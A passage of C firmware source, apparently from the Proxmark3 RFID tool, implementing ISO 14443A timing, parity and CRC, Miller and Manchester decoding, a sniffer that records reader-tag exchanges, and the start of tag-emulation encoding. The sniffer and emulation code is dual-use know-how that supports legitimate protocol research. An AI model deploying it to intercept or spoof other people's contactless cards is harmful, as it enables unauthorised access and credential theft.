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1//-----------------------------------------------------------------------------
2// Merlok - June 2011, 2012
3// Gerhard de Koning Gans - May 2008
4// Hagen Fritsch - June 2010
5//
6// This code is licensed to you under the terms of the GNU GPL, version 2 or,
7// at your option, any later version. See the LICENSE.txt file for the text of
8// the license.
9//-----------------------------------------------------------------------------
10// Routines to support ISO 14443 type A.
11//-----------------------------------------------------------------------------
12
13#include "iso14443a.h"
14
15#include <stdio.h>
16#include <string.h>
17#include "proxmark3.h"
18#include "apps.h"
19#include "util.h"
20#include "cmd.h"
21#include "iso14443crc.h"
22#include "crapto1/crapto1.h"
23#include "mifareutil.h"
24#include "mifaresniff.h"
25#include "BigBuf.h"
26#include "protocols.h"
27#include "parity.h"
28#include "fpgaloader.h"
29
30typedef struct {
31 enum {
32 DEMOD_UNSYNCD,
33 // DEMOD_HALF_SYNCD,
34 // DEMOD_MOD_FIRST_HALF,
35 // DEMOD_NOMOD_FIRST_HALF,
36 DEMOD_MANCHESTER_DATA
37 } state;
38 uint16_t twoBits;
39 uint16_t highCnt;
40 uint16_t bitCount;
41 uint16_t collisionPos;
42 uint16_t syncBit;
43 uint8_t parityBits;
44 uint8_t parityLen;
45 uint16_t shiftReg;
46 uint16_t samples;
47 uint16_t len;
48 uint32_t startTime, endTime;
49 uint8_t *output;
50 uint8_t *parity;
51} tDemod;
52
53typedef enum {
54 MOD_NOMOD = 0,
55 MOD_SECOND_HALF,
56 MOD_FIRST_HALF,
57 MOD_BOTH_HALVES
58 } Modulation_t;
59
60typedef struct {
61 enum {
62 STATE_UNSYNCD,
63 STATE_START_OF_COMMUNICATION,
64 STATE_MILLER_X,
65 STATE_MILLER_Y,
66 STATE_MILLER_Z,
67 // DROP_NONE,
68 // DROP_FIRST_HALF,
69 } state;
70 uint16_t shiftReg;
71 int16_t bitCount;
72 uint16_t len;
73 uint16_t byteCntMax;
74 uint16_t posCnt;
75 uint16_t syncBit;
76 uint8_t parityBits;
77 uint8_t parityLen;
78 uint32_t fourBits;
79 uint32_t startTime, endTime;
80 uint8_t *output;
81 uint8_t *parity;
82} tUart;
83
84static uint32_t iso14a_timeout;
85#define MAX_ISO14A_TIMEOUT 524288
86
87int rsamples = 0;
88uint8_t trigger = 0;
89// the block number for the ISO14443-4 PCB
90static uint8_t iso14_pcb_blocknum = 0;
91
92//
93// ISO14443 timing:
94//
95// minimum time between the start bits of consecutive transfers from reader to tag: 7000 carrier (13.56Mhz) cycles
96#define REQUEST_GUARD_TIME (7000/16 + 1)
97// minimum time between last modulation of tag and next start bit from reader to tag: 1172 carrier cycles
98#define FRAME_DELAY_TIME_PICC_TO_PCD (1172/16 + 1)
99// bool LastCommandWasRequest = false;
100
101//
102// Total delays including SSC-Transfers between ARM and FPGA. These are in carrier clock cycles (1/13,56MHz)
103//
104// When the PM acts as reader and is receiving tag data, it takes
105// 3 ticks delay in the AD converter
106// 16 ticks until the modulation detector completes and sets curbit
107// 8 ticks until bit_to_arm is assigned from curbit
108// 8*16 ticks for the transfer from FPGA to ARM
109// 4*16 ticks until we measure the time
110// - 8*16 ticks because we measure the time of the previous transfer
111#define DELAY_AIR2ARM_AS_READER (3 + 16 + 8 + 8*16 + 4*16 - 8*16)
112
113// When the PM acts as a reader and is sending, it takes
114// 4*16 ticks until we can write data to the sending hold register
115// 8*16 ticks until the SHR is transferred to the Sending Shift Register
116// 8 ticks until the first transfer starts
117// 8 ticks later the FPGA samples the data
118// 1 tick to assign mod_sig_coil
119#define DELAY_ARM2AIR_AS_READER (4*16 + 8*16 + 8 + 8 + 1)
120
121// When the PM acts as tag and is receiving it takes
122// 2 ticks delay in the RF part (for the first falling edge),
123// 3 ticks for the A/D conversion,
124// 8 ticks on average until the start of the SSC transfer,
125// 8 ticks until the SSC samples the first data
126// 7*16 ticks to complete the transfer from FPGA to ARM
127// 8 ticks until the next ssp_clk rising edge
128// 4*16 ticks until we measure the time
129// - 8*16 ticks because we measure the time of the previous transfer
130#define DELAY_AIR2ARM_AS_TAG (2 + 3 + 8 + 8 + 7*16 + 8 + 4*16 - 8*16)
131
132// The FPGA will report its internal sending delay in
133uint16_t FpgaSendQueueDelay;
134// the 5 first bits are the number of bits buffered in mod_sig_buf
135// the last three bits are the remaining ticks/2 after the mod_sig_buf shift
136#define DELAY_FPGA_QUEUE (FpgaSendQueueDelay<<1)
137
138// When the PM acts as tag and is sending, it takes
139// 4*16 + 8 ticks until we can write data to the sending hold register
140// 8*16 ticks until the SHR is transferred to the Sending Shift Register
141// 8 ticks later the FPGA samples the first data
142// + 16 ticks until assigned to mod_sig
143// + 1 tick to assign mod_sig_coil
144// + a varying number of ticks in the FPGA Delay Queue (mod_sig_buf)
145#define DELAY_ARM2AIR_AS_TAG (4*16 + 8 + 8*16 + 8 + 16 + 1 + DELAY_FPGA_QUEUE)
146
147// When the PM acts as sniffer and is receiving tag data, it takes
148// 3 ticks A/D conversion
149// 14 ticks to complete the modulation detection
150// 8 ticks (on average) until the result is stored in to_arm
151// + the delays in transferring data - which is the same for
152// sniffing reader and tag data and therefore not relevant
153#define DELAY_TAG_AIR2ARM_AS_SNIFFER (3 + 14 + 8)
154
155// When the PM acts as sniffer and is receiving reader data, it takes
156// 2 ticks delay in analogue RF receiver (for the falling edge of the
157// start bit, which marks the start of the communication)
158// 3 ticks A/D conversion
159// 8 ticks on average until the data is stored in to_arm.
160// + the delays in transferring data - which is the same for
161// sniffing reader and tag data and therefore not relevant
162#define DELAY_READER_AIR2ARM_AS_SNIFFER (2 + 3 + 8)
163
164//variables used for timing purposes:
165//these are in ssp_clk cycles:
166static uint32_t NextTransferTime;
167static uint32_t LastTimeProxToAirStart;
168static uint32_t LastProxToAirDuration;
169
170
171
172// CARD TO READER - manchester
173// Sequence D: 11110000 modulation with subcarrier during first half
174// Sequence E: 00001111 modulation with subcarrier during second half
175// Sequence F: 00000000 no modulation with subcarrier
176// READER TO CARD - miller
177// Sequence X: 00001100 drop after half a period
178// Sequence Y: 00000000 no drop
179// Sequence Z: 11000000 drop at start
180#define SEC_D 0xf0
181#define SEC_E 0x0f
182#define SEC_F 0x00
183#define SEC_X 0x0c
184#define SEC_Y 0x00
185#define SEC_Z 0xc0
186
187void iso14a_set_trigger(bool enable) {
188 trigger = enable;
189}
190
191
192void iso14a_set_timeout(uint32_t timeout) {
193 // adjust timeout by FPGA delays and 2 additional ssp_frames to detect SOF
194 iso14a_timeout = timeout + (DELAY_AIR2ARM_AS_READER + DELAY_ARM2AIR_AS_READER)/(16*8) + 2;
195 if(MF_DBGLEVEL >= 3) Dbprintf("ISO14443A Timeout set to %ld (%dms)", timeout, timeout / 106);
196}
197
198
199uint32_t iso14a_get_timeout(void) {
200 return iso14a_timeout - (DELAY_AIR2ARM_AS_READER + DELAY_ARM2AIR_AS_READER)/(16*8) - 2;
201}
202
203//-----------------------------------------------------------------------------
204// Generate the parity value for a byte sequence
205//
206//-----------------------------------------------------------------------------
207void GetParity(const uint8_t *pbtCmd, uint16_t iLen, uint8_t *par)
208{
209 uint16_t paritybit_cnt = 0;
210 uint16_t paritybyte_cnt = 0;
211 uint8_t parityBits = 0;
212
213 for (uint16_t i = 0; i < iLen; i++) {
214 // Generate the parity bits
215 parityBits |= ((oddparity8(pbtCmd[i])) << (7-paritybit_cnt));
216 if (paritybit_cnt == 7) {
217 par[paritybyte_cnt] = parityBits; // save 8 Bits parity
218 parityBits = 0; // and advance to next Parity Byte
219 paritybyte_cnt++;
220 paritybit_cnt = 0;
221 } else {
222 paritybit_cnt++;
223 }
224 }
225
226 // save remaining parity bits
227 par[paritybyte_cnt] = parityBits;
228
229}
230
231void AppendCrc14443a(uint8_t* data, int len)
232{
233 ComputeCrc14443(CRC_14443_A,data,len,data+len,data+len+1);
234}
235
236static void AppendCrc14443b(uint8_t* data, int len)
237{
238 ComputeCrc14443(CRC_14443_B,data,len,data+len,data+len+1);
239}
240
241
242//=============================================================================
243// ISO 14443 Type A - Miller decoder
244//=============================================================================
245// Basics:
246// This decoder is used when the PM3 acts as a tag.
247// The reader will generate "pauses" by temporarily switching of the field.
248// At the PM3 antenna we will therefore measure a modulated antenna voltage.
249// The FPGA does a comparison with a threshold and would deliver e.g.:
250// ........ 1 1 1 1 1 1 0 0 1 1 1 1 1 1 1 1 1 1 0 0 1 1 1 1 1 1 1 1 1 1 .......
251// The Miller decoder needs to identify the following sequences:
252// 2 (or 3) ticks pause followed by 6 (or 5) ticks unmodulated: pause at beginning - Sequence Z ("start of communication" or a "0")
253// 8 ticks without a modulation: no pause - Sequence Y (a "0" or "end of communication" or "no information")
254// 4 ticks unmodulated followed by 2 (or 3) ticks pause: pause in second half - Sequence X (a "1")
255// Note 1: the bitstream may start at any time. We therefore need to sync.
256// Note 2: the interpretation of Sequence Y and Z depends on the preceding sequence.
257//-----------------------------------------------------------------------------
258static tUart Uart;
259
260// Lookup-Table to decide if 4 raw bits are a modulation.
261// We accept the following:
262// 0001 - a 3 tick wide pause
263// 0011 - a 2 tick wide pause, or a three tick wide pause shifted left
264// 0111 - a 2 tick wide pause shifted left
265// 1001 - a 2 tick wide pause shifted right
266const bool Mod_Miller_LUT[] = {
267 false, true, false, true, false, false, false, true,
268 false, true, false, false, false, false, false, false
269};
270#define IsMillerModulationNibble1(b) (Mod_Miller_LUT[(b & 0x000000F0) >> 4])
271#define IsMillerModulationNibble2(b) (Mod_Miller_LUT[(b & 0x0000000F)])
272
273static void UartReset()
274{
275 Uart.state = STATE_UNSYNCD;
276 Uart.bitCount = 0;
277 Uart.len = 0; // number of decoded data bytes
278 Uart.parityLen = 0; // number of decoded parity bytes
279 Uart.shiftReg = 0; // shiftreg to hold decoded data bits
280 Uart.parityBits = 0; // holds 8 parity bits
281 Uart.startTime = 0;
282 Uart.endTime = 0;
283}
284
285static void UartInit(uint8_t *data, uint8_t *parity)
286{
287 Uart.output = data;
288 Uart.parity = parity;
289 Uart.fourBits = 0x00000000; // clear the buffer for 4 Bits
290 UartReset();
291}
292
293// use parameter non_real_time to provide a timestamp. Set to 0 if the decoder should measure real time
294static RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time)
295{
296
297 Uart.fourBits = (Uart.fourBits << 8) | bit;
298
299 if (Uart.state == STATE_UNSYNCD) { // not yet synced
300
301 Uart.syncBit = 9999; // not set
302 // The start bit is one ore more Sequence Y followed by a Sequence Z (... 11111111 00x11111). We need to distinguish from
303 // Sequence X followed by Sequence Y followed by Sequence Z (111100x1 11111111 00x11111)
304 // we therefore look for a ...xx11111111111100x11111xxxxxx... pattern
305 // (12 '1's followed by 2 '0's, eventually followed by another '0', followed by 5 '1's)
306 #define ISO14443A_STARTBIT_MASK 0x07FFEF80 // mask is 00000111 11111111 11101111 10000000
307 #define ISO14443A_STARTBIT_PATTERN 0x07FF8F80 // pattern is 00000111 11111111 10001111 10000000
308 if ((Uart.fourBits & (ISO14443A_STARTBIT_MASK >> 0)) == ISO14443A_STARTBIT_PATTERN >> 0) Uart.syncBit = 7;
309 else if ((Uart.fourBits & (ISO14443A_STARTBIT_MASK >> 1)) == ISO14443A_STARTBIT_PATTERN >> 1) Uart.syncBit = 6;
310 else if ((Uart.fourBits & (ISO14443A_STARTBIT_MASK >> 2)) == ISO14443A_STARTBIT_PATTERN >> 2) Uart.syncBit = 5;
311 else if ((Uart.fourBits & (ISO14443A_STARTBIT_MASK >> 3)) == ISO14443A_STARTBIT_PATTERN >> 3) Uart.syncBit = 4;
312 else if ((Uart.fourBits & (ISO14443A_STARTBIT_MASK >> 4)) == ISO14443A_STARTBIT_PATTERN >> 4) Uart.syncBit = 3;
313 else if ((Uart.fourBits & (ISO14443A_STARTBIT_MASK >> 5)) == ISO14443A_STARTBIT_PATTERN >> 5) Uart.syncBit = 2;
314 else if ((Uart.fourBits & (ISO14443A_STARTBIT_MASK >> 6)) == ISO14443A_STARTBIT_PATTERN >> 6) Uart.syncBit = 1;
315 else if ((Uart.fourBits & (ISO14443A_STARTBIT_MASK >> 7)) == ISO14443A_STARTBIT_PATTERN >> 7) Uart.syncBit = 0;
316
317 if (Uart.syncBit != 9999) { // found a sync bit
318 Uart.startTime = non_real_time?non_real_time:(GetCountSspClk() & 0xfffffff8);
319 Uart.startTime -= Uart.syncBit;
320 Uart.endTime = Uart.startTime;
321 Uart.state = STATE_START_OF_COMMUNICATION;
322 LED_B_ON();
323 }
324
325 } else {
326
327 if (IsMillerModulationNibble1(Uart.fourBits >> Uart.syncBit)) {
328 if (IsMillerModulationNibble2(Uart.fourBits >> Uart.syncBit)) { // Modulation in both halves - error
329 LED_B_OFF();
330 UartReset();
331 } else { // Modulation in first half = Sequence Z = logic "0"
332 if (Uart.state == STATE_MILLER_X) { // error - must not follow after X
333 LED_B_OFF();
334 UartReset();
335 } else {
336 Uart.bitCount++;
337 Uart.shiftReg = (Uart.shiftReg >> 1); // add a 0 to the shiftreg
338 Uart.state = STATE_MILLER_Z;
339 Uart.endTime = Uart.startTime + 8*(9*Uart.len + Uart.bitCount + 1) - 6;
340 if(Uart.bitCount >= 9) { // if we decoded a full byte (including parity)
341 Uart.output[Uart.len++] = (Uart.shiftReg & 0xff);
342 Uart.parityBits <<= 1; // make room for the parity bit
343 Uart.parityBits |= ((Uart.shiftReg >> 8) & 0x01); // store parity bit
344 Uart.bitCount = 0;
345 Uart.shiftReg = 0;
346 if((Uart.len&0x0007) == 0) { // every 8 data bytes
347 Uart.parity[Uart.parityLen++] = Uart.parityBits; // store 8 parity bits
348 Uart.parityBits = 0;
349 }
350 }
351 }
352 }
353 } else {
354 if (IsMillerModulationNibble2(Uart.fourBits >> Uart.syncBit)) { // Modulation second half = Sequence X = logic "1"
355 Uart.bitCount++;
356 Uart.shiftReg = (Uart.shiftReg >> 1) | 0x100; // add a 1 to the shiftreg
357 Uart.state = STATE_MILLER_X;
358 Uart.endTime = Uart.startTime + 8*(9*Uart.len + Uart.bitCount + 1) - 2;
359 if(Uart.bitCount >= 9) { // if we decoded a full byte (including parity)
360 Uart.output[Uart.len++] = (Uart.shiftReg & 0xff);
361 Uart.parityBits <<= 1; // make room for the new parity bit
362 Uart.parityBits |= ((Uart.shiftReg >> 8) & 0x01); // store parity bit
363 Uart.bitCount = 0;
364 Uart.shiftReg = 0;
365 if ((Uart.len&0x0007) == 0) { // every 8 data bytes
366 Uart.parity[Uart.parityLen++] = Uart.parityBits; // store 8 parity bits
367 Uart.parityBits = 0;
368 }
369 }
370 } else { // no modulation in both halves - Sequence Y
371 if (Uart.state == STATE_MILLER_Z || Uart.state == STATE_MILLER_Y) { // Y after logic "0" - End of Communication
372 LED_B_OFF();
373 Uart.state = STATE_UNSYNCD;
374 Uart.bitCount--; // last "0" was part of EOC sequence
375 Uart.shiftReg <<= 1; // drop it
376 if(Uart.bitCount > 0) { // if we decoded some bits
377 Uart.shiftReg >>= (9 - Uart.bitCount); // right align them
378 Uart.output[Uart.len++] = (Uart.shiftReg & 0xff); // add last byte to the output
379 Uart.parityBits <<= 1; // add a (void) parity bit
380 Uart.parityBits <<= (8 - (Uart.len&0x0007)); // left align parity bits
381 Uart.parity[Uart.parityLen++] = Uart.parityBits; // and store it
382 return true;
383 } else if (Uart.len & 0x0007) { // there are some parity bits to store
384 Uart.parityBits <<= (8 - (Uart.len&0x0007)); // left align remaining parity bits
385 Uart.parity[Uart.parityLen++] = Uart.parityBits; // and store them
386 }
387 if (Uart.len) {
388 return true; // we are finished with decoding the raw data sequence
389 } else {
390 UartReset(); // Nothing received - start over
391 }
392 }
393 if (Uart.state == STATE_START_OF_COMMUNICATION) { // error - must not follow directly after SOC
394 LED_B_OFF();
395 UartReset();
396 } else { // a logic "0"
397 Uart.bitCount++;
398 Uart.shiftReg = (Uart.shiftReg >> 1); // add a 0 to the shiftreg
399 Uart.state = STATE_MILLER_Y;
400 if(Uart.bitCount >= 9) { // if we decoded a full byte (including parity)
401 Uart.output[Uart.len++] = (Uart.shiftReg & 0xff);
402 Uart.parityBits <<= 1; // make room for the parity bit
403 Uart.parityBits |= ((Uart.shiftReg >> 8) & 0x01); // store parity bit
404 Uart.bitCount = 0;
405 Uart.shiftReg = 0;
406 if ((Uart.len&0x0007) == 0) { // every 8 data bytes
407 Uart.parity[Uart.parityLen++] = Uart.parityBits; // store 8 parity bits
408 Uart.parityBits = 0;
409 }
410 }
411 }
412 }
413 }
414
415 }
416
417 return false; // not finished yet, need more data
418}
419
420
421
422//=============================================================================
423// ISO 14443 Type A - Manchester decoder
424//=============================================================================
425// Basics:
426// This decoder is used when the PM3 acts as a reader.
427// The tag will modulate the reader field by asserting different loads to it. As a consequence, the voltage
428// at the reader antenna will be modulated as well. The FPGA detects the modulation for us and would deliver e.g. the following:
429// ........ 0 0 1 1 1 1 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 .......
430// The Manchester decoder needs to identify the following sequences:
431// 4 ticks modulated followed by 4 ticks unmodulated: Sequence D = 1 (also used as "start of communication")
432// 4 ticks unmodulated followed by 4 ticks modulated: Sequence E = 0
433// 8 ticks unmodulated: Sequence F = end of communication
434// 8 ticks modulated: A collision. Save the collision position and treat as Sequence D
435// Note 1: the bitstream may start at any time. We therefore need to sync.
436// Note 2: parameter offset is used to determine the position of the parity bits (required for the anticollision command only)
437static tDemod Demod;
438
439// Lookup-Table to decide if 4 raw bits are a modulation.
440// We accept three or four "1" in any position
441const bool Mod_Manchester_LUT[] = {
442 false, false, false, false, false, false, false, true,
443 false, false, false, true, false, true, true, true
444};
445
446#define IsManchesterModulationNibble1(b) (Mod_Manchester_LUT[(b & 0x00F0) >> 4])
447#define IsManchesterModulationNibble2(b) (Mod_Manchester_LUT[(b & 0x000F)])
448
449
450static void DemodReset()
451{
452 Demod.state = DEMOD_UNSYNCD;
453 Demod.len = 0; // number of decoded data bytes
454 Demod.parityLen = 0;
455 Demod.shiftReg = 0; // shiftreg to hold decoded data bits
456 Demod.parityBits = 0; //
457 Demod.collisionPos = 0; // Position of collision bit
458 Demod.twoBits = 0xffff; // buffer for 2 Bits
459 Demod.highCnt = 0;
460 Demod.startTime = 0;
461 Demod.endTime = 0;
462}
463
464static void DemodInit(uint8_t *data, uint8_t *parity)
465{
466 Demod.output = data;
467 Demod.parity = parity;
468 DemodReset();
469}
470
471// use parameter non_real_time to provide a timestamp. Set to 0 if the decoder should measure real time
472static RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_time)
473{
474
475 Demod.twoBits = (Demod.twoBits << 8) | bit;
476
477 if (Demod.state == DEMOD_UNSYNCD) {
478
479 if (Demod.highCnt < 2) { // wait for a stable unmodulated signal
480 if (Demod.twoBits == 0x0000) {
481 Demod.highCnt++;
482 } else {
483 Demod.highCnt = 0;
484 }
485 } else {
486 Demod.syncBit = 0xFFFF; // not set
487 if ((Demod.twoBits & 0x7700) == 0x7000) Demod.syncBit = 7;
488 else if ((Demod.twoBits & 0x3B80) == 0x3800) Demod.syncBit = 6;
489 else if ((Demod.twoBits & 0x1DC0) == 0x1C00) Demod.syncBit = 5;
490 else if ((Demod.twoBits & 0x0EE0) == 0x0E00) Demod.syncBit = 4;
491 else if ((Demod.twoBits & 0x0770) == 0x0700) Demod.syncBit = 3;
492 else if ((Demod.twoBits & 0x03B8) == 0x0380) Demod.syncBit = 2;
493 else if ((Demod.twoBits & 0x01DC) == 0x01C0) Demod.syncBit = 1;
494 else if ((Demod.twoBits & 0x00EE) == 0x00E0) Demod.syncBit = 0;
495 if (Demod.syncBit != 0xFFFF) {
496 Demod.startTime = non_real_time?non_real_time:(GetCountSspClk() & 0xfffffff8);
497 Demod.startTime -= Demod.syncBit;
498 Demod.bitCount = offset; // number of decoded data bits
499 Demod.state = DEMOD_MANCHESTER_DATA;
500 LED_C_ON();
501 }
502 }
503
504 } else {
505
506 if (IsManchesterModulationNibble1(Demod.twoBits >> Demod.syncBit)) { // modulation in first half
507 if (IsManchesterModulationNibble2(Demod.twoBits >> Demod.syncBit)) { // ... and in second half = collision
508 if (!Demod.collisionPos) {
509 Demod.collisionPos = (Demod.len << 3) + Demod.bitCount;
510 }
511 } // modulation in first half only - Sequence D = 1
512 Demod.bitCount++;
513 Demod.shiftReg = (Demod.shiftReg >> 1) | 0x100; // in both cases, add a 1 to the shiftreg
514 if(Demod.bitCount == 9) { // if we decoded a full byte (including parity)
515 Demod.output[Demod.len++] = (Demod.shiftReg & 0xff);
516 Demod.parityBits <<= 1; // make room for the parity bit
517 Demod.parityBits |= ((Demod.shiftReg >> 8) & 0x01); // store parity bit
518 Demod.bitCount = 0;
519 Demod.shiftReg = 0;
520 if((Demod.len&0x0007) == 0) { // every 8 data bytes
521 Demod.parity[Demod.parityLen++] = Demod.parityBits; // store 8 parity bits
522 Demod.parityBits = 0;
523 }
524 }
525 Demod.endTime = Demod.startTime + 8*(9*Demod.len + Demod.bitCount + 1) - 4;
526 } else { // no modulation in first half
527 if (IsManchesterModulationNibble2(Demod.twoBits >> Demod.syncBit)) { // and modulation in second half = Sequence E = 0
528 Demod.bitCount++;
529 Demod.shiftReg = (Demod.shiftReg >> 1); // add a 0 to the shiftreg
530 if(Demod.bitCount >= 9) { // if we decoded a full byte (including parity)
531 Demod.output[Demod.len++] = (Demod.shiftReg & 0xff);
532 Demod.parityBits <<= 1; // make room for the new parity bit
533 Demod.parityBits |= ((Demod.shiftReg >> 8) & 0x01); // store parity bit
534 Demod.bitCount = 0;
535 Demod.shiftReg = 0;
536 if ((Demod.len&0x0007) == 0) { // every 8 data bytes
537 Demod.parity[Demod.parityLen++] = Demod.parityBits; // store 8 parity bits1
538 Demod.parityBits = 0;
539 }
540 }
541 Demod.endTime = Demod.startTime + 8*(9*Demod.len + Demod.bitCount + 1);
542 } else { // no modulation in both halves - End of communication
543 LED_C_OFF();
544 if(Demod.bitCount > 0) { // there are some remaining data bits
545 Demod.shiftReg >>= (9 - Demod.bitCount); // right align the decoded bits
546 Demod.output[Demod.len++] = Demod.shiftReg & 0xff; // and add them to the output
547 Demod.parityBits <<= 1; // add a (void) parity bit
548 Demod.parityBits <<= (8 - (Demod.len&0x0007)); // left align remaining parity bits
549 Demod.parity[Demod.parityLen++] = Demod.parityBits; // and store them
550 return true;
551 } else if (Demod.len & 0x0007) { // there are some parity bits to store
552 Demod.parityBits <<= (8 - (Demod.len&0x0007)); // left align remaining parity bits
553 Demod.parity[Demod.parityLen++] = Demod.parityBits; // and store them
554 }
555 if (Demod.len) {
556 return true; // we are finished with decoding the raw data sequence
557 } else { // nothing received. Start over
558 DemodReset();
559 }
560 }
561 }
562
563 }
564
565 return false; // not finished yet, need more data
566}
567
568//=============================================================================
569// Finally, a `sniffer' for ISO 14443 Type A
570// Both sides of communication!
571//=============================================================================
572
573//-----------------------------------------------------------------------------
574// Record the sequence of commands sent by the reader to the tag, with
575// triggering so that we start recording at the point that the tag is moved
576// near the reader.
577//-----------------------------------------------------------------------------
578void RAMFUNC SnoopIso14443a(uint8_t param) {
579 // param:
580 // bit 0 - trigger from first card answer
581 // bit 1 - trigger from first reader 7-bit request
582
583 LEDsoff();
584 LED_A_ON();
585
586 iso14443a_setup(FPGA_HF_ISO14443A_SNIFFER);
587
588 // Allocate memory from BigBuf for some buffers
589 // free all previous allocations first
590 BigBuf_free();
591
592 // The command (reader -> tag) that we're receiving.
593 uint8_t *receivedCmd = BigBuf_malloc(MAX_FRAME_SIZE);
594 uint8_t *receivedCmdPar = BigBuf_malloc(MAX_PARITY_SIZE);
595
596 // The response (tag -> reader) that we're receiving.
597 uint8_t *receivedResponse = BigBuf_malloc(MAX_FRAME_SIZE);
598 uint8_t *receivedResponsePar = BigBuf_malloc(MAX_PARITY_SIZE);
599
600 // The DMA buffer, used to stream samples from the FPGA
601 uint8_t *dmaBuf = BigBuf_malloc(DMA_BUFFER_SIZE);
602
603 // init trace buffer
604 clear_trace();
605 set_tracing(true);
606
607 uint8_t *data = dmaBuf;
608 uint8_t previous_data = 0;
609 int maxDataLen = 0;
610 int dataLen = 0;
611 bool TagIsActive = false;
612 bool ReaderIsActive = false;
613
614 // Set up the demodulator for tag -> reader responses.
615 DemodInit(receivedResponse, receivedResponsePar);
616
617 // Set up the demodulator for the reader -> tag commands
618 UartInit(receivedCmd, receivedCmdPar);
619
620 // Setup and start DMA.
621 FpgaSetupSscDma((uint8_t *)dmaBuf, DMA_BUFFER_SIZE);
622
623 // We won't start recording the frames that we acquire until we trigger;
624 // a good trigger condition to get started is probably when we see a
625 // response from the tag.
626 // triggered == false -- to wait first for card
627 bool triggered = !(param & 0x03);
628
629 // And now we loop, receiving samples.
630 for(uint32_t rsamples = 0; true; ) {
631
632 if(BUTTON_PRESS()) {
633 DbpString("cancelled by button");
634 break;
635 }
636
637 WDT_HIT();
638
639 int register readBufDataP = data - dmaBuf;
640 int register dmaBufDataP = DMA_BUFFER_SIZE - AT91C_BASE_PDC_SSC->PDC_RCR;
641 if (readBufDataP <= dmaBufDataP){
642 dataLen = dmaBufDataP - readBufDataP;
643 } else {
644 dataLen = DMA_BUFFER_SIZE - readBufDataP + dmaBufDataP;
645 }
646 // test for length of buffer
647 if(dataLen > maxDataLen) {
648 maxDataLen = dataLen;
649 if(dataLen > (9 * DMA_BUFFER_SIZE / 10)) {
650 Dbprintf("blew circular buffer! dataLen=%d", dataLen);
651 break;
652 }
653 }
654 if(dataLen < 1) continue;
655
656 // primary buffer was stopped( <-- we lost data!
657 if (!AT91C_BASE_PDC_SSC->PDC_RCR) {
658 AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) dmaBuf;
659 AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE;
660 Dbprintf("RxEmpty ERROR!!! data length:%d", dataLen); // temporary
661 }
662 // secondary buffer sets as primary, secondary buffer was stopped
663 if (!AT91C_BASE_PDC_SSC->PDC_RNCR) {
664 AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) dmaBuf;
665 AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE;
666 }
667
668 if (rsamples & 0x01) { // Need two samples to feed Miller and Manchester-Decoder
669
670 if(!TagIsActive) { // no need to try decoding reader data if the tag is sending
671 uint8_t readerdata = (previous_data & 0xF0) | (*data >> 4);
672 if (MillerDecoding(readerdata, (rsamples-1)*4)) {
673 // check - if there is a short 7bit request from reader
674 if ((!triggered) && (param & 0x02) && (Uart.len == 1) && (Uart.bitCount == 7)) {
675 triggered = true;
676 }
677 if(triggered) {
678 if (!LogTrace(receivedCmd,
679 Uart.len,
680 Uart.startTime*16 - DELAY_READER_AIR2ARM_AS_SNIFFER,
681 Uart.endTime*16 - DELAY_READER_AIR2ARM_AS_SNIFFER,
682 Uart.parity,
683 true)) break;
684 }
685 /* And ready to receive another command. */
686 UartReset();
687 /* And also reset the demod code, which might have been */
688 /* false-triggered by the commands from the reader. */
689 DemodReset();
690 }
691 ReaderIsActive = (Uart.state != STATE_UNSYNCD);
692 }
693
694 if (!ReaderIsActive) { // no need to try decoding tag data if the reader is sending - and we cannot afford the time
695 uint8_t tagdata = (previous_data << 4) | (*data & 0x0F);
696 if (ManchesterDecoding(tagdata, 0, (rsamples-1)*4)) {
697 if (!LogTrace(receivedResponse,
698 Demod.len,
699 Demod.startTime*16 - DELAY_TAG_AIR2ARM_AS_SNIFFER,
700 Demod.endTime*16 - DELAY_TAG_AIR2ARM_AS_SNIFFER,
701 Demod.parity,
702 false)) break;
703 if ((!triggered) && (param & 0x01)) triggered = true;
704 // And ready to receive another response.
705 DemodReset();
706 // And reset the Miller decoder including itS (now outdated) input buffer
707 UartInit(receivedCmd, receivedCmdPar);
708 }
709 TagIsActive = (Demod.state != DEMOD_UNSYNCD);
710 }
711 }
712
713 previous_data = *data;
714 rsamples++;
715 data++;
716 if(data == dmaBuf + DMA_BUFFER_SIZE) {
717 data = dmaBuf;
718 }
719 } // main cycle
720
721 FpgaDisableSscDma();
722 LEDsoff();
723
724 DbpString("COMMAND FINISHED");
725 Dbprintf("maxDataLen=%d, Uart.state=%x, Uart.len=%d", maxDataLen, Uart.state, Uart.len);
726 Dbprintf("traceLen=%d, Uart.output[0]=%08x", BigBuf_get_traceLen(), (uint32_t)Uart.output[0]);
727}
728
729//-----------------------------------------------------------------------------
730// Prepare tag messages
731//-----------------------------------------------------------------------------
732static void CodeIso14443aAsTagPar(const uint8_t *cmd, uint16_t len, uint8_t *parity)
733{
734 ToSendReset();
735
736 // Correction bit, might be removed when not needed
737 ToSendStuffBit(0);
738 ToSendStuffBit(0);
739 ToSendStuffBit(0);
740 ToSendStuffBit(0);
741 ToSendStuffBit(1); // 1
742 ToSendStuffBit(0);
743 ToSendStuffBit(0);
744 ToSendStuffBit(0);
745
746 // Send startbit
747 ToSend[++ToSendMax] = SEC_D;
748 LastProxToAirDuration = 8 * ToSendMax - 4;
749
750 for(uint16_t i = 0; i < len; i++) {
751 uint8_t b = cmd[i];
752
753 // Data bits
754 for(uint16_t j = 0; j < 8; j++) {
755 if(b & 1) {
756 ToSend[++ToSendMax] = SEC_D;
757 } else {
758 ToSend[++ToSendMax] = SEC_E;
759 }
760 b >>= 1;
761 }
762
763 // Get the parity bit
764 if (parity[i>>3] & (0x80>>(i&0x0007))) {
765 ToSend[++ToSendMax] = SEC_D;
766 LastProxToAirDuration = 8 * ToSendMax - 4;
767 } else {
768 ToSend[++ToSendMax] = SEC_E;
769 LastProxToAirDuration = 8 * ToSendMax;
770 }
771 }
772
773 // Send stopbit
774 ToSend[++ToSendMax] = SEC_F;
775
776 // Convert from last byte pos to length
777 ToSendMax++;
778}
779
780
781static void Code4bitAnswerAsTag(uint8_t cmd)
782{
783 int i;
784
785 ToSendReset();
786
787 // Correction bit, might be removed when not needed
